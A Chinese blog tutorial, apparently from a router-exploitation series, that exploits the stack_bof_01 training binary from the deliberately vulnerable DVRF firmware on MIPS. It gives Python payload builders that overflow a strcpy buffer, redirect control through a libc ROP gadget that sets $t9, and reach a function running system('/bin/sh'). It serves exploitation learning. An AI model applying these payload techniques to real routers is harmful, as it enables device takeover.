前言


本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274


本文以 DVRF 中的第一个漏洞程序 stack_bof_01 为例,在实战 MIPS 架构中栈溢出的简单利用。

正文

去github上面把 DVRF 下载下来,然后用 binwalk 解开

在 pwnable 目录下就是相应的示例程序

在解开的文件系统的根目录下使用 chroot 和 qemu 运行 程序:

sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01  "`cat ./pwnable/Intro/input`"

使用了cat 命令读取文件作为命令行参数,传给目标程序,这样可以使我们输入一些不可见字符用于劫持程序流。

stack_bof_01 是一个很简单的栈溢出漏洞程序,它把用户从命令行传过去的参数直接使用 strcpy 拷贝到栈缓冲区,从而栈溢出。经过调试,输入204个字符后就可以覆盖到 ra 寄存器保存到栈栈上的值,进而可以控制 $pc 的值。

修改文件内容的 python 脚本如下

#!/usr/bin/python
padding = "O" * 204
payload = padding + "B"*4
with open("input", "wb") as f:
f.write(payload)

接下来就是考虑该如何利用的问题了。程序中包含了一个 执行 system("/bin/sh") 的函数 dat_shell, 如果是在 x86 平台下的话,我们直接设置 $pc 寄存器到它的地址就可以了。在 MIPS 如果直接指过去或怎么样呢?我们试试

访问了非法内存,异常了。

原因在于,在 MIPS 中,函数内部会通过 $t9 寄存器和 $gp 寄存器来找数据,地址等。同时在 mips 的手册内默认 $t9 的值为当前函数的开始地址,这样才能正常的索引,所以我们需要先用一个 rop_gadget 设置 $t9, 然后再跳到 dat_shell 函数。

在libc 中可以找到这样一个gadgets

.text:00006B20                 lw      $t9, arg_0($sp)
.text:00006B24 jalr $t9

加上libc的基地址就行了。用qemu-mipsel-static模拟程序是看不到目标程序的maps的,所以我们可以通过打印 got 表的函数指针,然后计算偏移得到 libc 的基地址。

所以我们现在的利用流程就是:

  • 修改返回地址到 rop_gadget, 设置 $r9 为 dat_shell 函数的地址
  • 跳转到 dat_shell 函数,执行system
#!/usr/bin/python
padding = "O" * 204
gadget1 = "\x20\xbb\x6e\x76"
dat_shell_addr = "\x50\x09\x40" # Partial overwrite with little-endian arch
payload = padding + gadget1 + dat_shell_addr
with open("input", "wb") as f:
f.write(payload)

总结

  • 学习到了 $t9 寄存器的重要作用以后再使用 rop 调用函数时,要使用 jalr $t9 类的 gadgets 以保证进入函数后, $t9 的值为函数的起始地址,避免出错。

  • 使用ida反汇编mips程序时,它好像默认 $t9 的值为函数的起始地址,导致我们分析问题时造成困惑,pwndbg 和 radare2 就不会这样。

参考链接:

一步一步pwn路由器之栈溢出实战的更多相关文章

  1. 一步一步pwn路由器之wr940栈溢出漏洞分析与利用

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这个是最近爆出来的漏洞,漏洞编号:CVE-2017-13772 固 ...

  2. 一步一步pwn路由器之rop技术实战

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这次程序也是 DVRF 里面的,他的路径是 pwnable/She ...

  3. 一步一步pwn路由器之uClibc中malloc&&free分析

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 栈溢出告一段落.本文介绍下 uClibc 中的 malloc 和 ...

  4. 一步一步pwn路由器之路由器环境修复&&rop技术分析

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 拿到路由器的固件后,第一时间肯定是去运行目标程序,一般是web服务 ...

  5. 一步一步pwn路由器之环境搭建

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 正式进入路由器的世界了.感觉路由器这块就是固件提取,运行环境修复比 ...

  6. 一步一步pwn路由器之radare2使用全解

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 radare2 最近越来越流行,已经进入 github 前 25了 ...

  7. 一步一步pwn路由器之radare2使用实战

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 前文讲了一些 radare2 的特性相关的操作方法.本文以一个 c ...

  8. 简单实例一步一步帮你搞清楚MVC3中的路由以及区域

    我们都知道MVC 3 程序的所有请求都是先经过路由解析然后分配到特定的Controller 以及 Action 中的,为什么这些知识讲完了Controller Action Model 后再讲呢?这个 ...

  9. 【计算机网络】一步一步学习IP路由流程

    TCP/IP协议簇是目前互联网应用最广的协议栈,谈到TCP/IP协议栈就不能不讲一讲IP路由的问题,因为在我们使用的网络通信中几乎每时每刻都在发生着IP路由的事件…….当你在网络世界中还是一位新手的时 ...

随机推荐

  1. Java NIO学习与记录(七): Reactor单线程模型的实现

    Reactor单线程模型的实现 一.Selector&Channel 写这个模型需要提前了解Selector以及Channel,之前记录过FileChannel,除此之外还有以下几种Chann ...

  2. 牛客Wannafly挑战赛26E 蚂蚁开会(树链剖分+线段树)

    传送门 题面描述 一颗n个节点的树,m次操作,有点权(该节点蚂蚁个数)和边权(相邻节点的距离). 三种操作: 操作1:1 i x将节点i的点权修改为x.(1 <= i <= n; 1 &l ...

  3. Polycarp Restores Permutation

    http://codeforces.com/contest/1141/problem/C一开始没想法暴力的,next_permutation(),TLE 后来看了这篇https://blog.csdn ...

  4. js数字动画

    项目中需要的数字动画效果,网上找不到需要的效果,所以自己写了一个. 不多说,直接上干货:

  5. Run-Time Check Failure #0 - The value of ESP was not properly saved across a function call. 调用函数约定不同

    Run-Time Check Failure #0 - The value of ESP was not properly saved across a function call.  This is ...

  6. 解决: selenium webdriver unable to find Mozilla geckodriver

    1 安装 sudo apt-get install libqt4-dev libqtwebkit-dev 2 gem install capybara-webkit 3 在rails-helper.r ...

  7. springboot-22-自定义starter

    先说下springboot的运行原理 springboot最主要的配置 是 @SpringBootApplication 然后这里面 @EnableAutoCOnfiguration 最为重要, 继续 ...

  8. MySQL在创建数据表的时候创建索引

    转载:http://www.baike369.com/content/?id=5478 MySQL在创建数据表的时候创建索引 在MySQL中创建表的时候,可以直接创建索引.基本的语法格式如下: CRE ...

  9. mybatis必知必会一

    入门: 1.每个基于 MyBatis 的应用都是以一个 SqlSessionFactory 的实例为中心的.SqlSessionFactory 的实例可以通过 SqlSessionFactoryBui ...

  10. Golang把所有包括底层类库,输出到stderr的内容, 重新定向到一个日志文件里面?

    不论应用是如何部署的,我们都期望能扑捉到应用的错误日志, 解决思路: 自己写代码处理异常拦截,甚至直接在main函数中写异常拦截. stderr重定向到某个文件里 使用 syscall.Dup2 第一 ...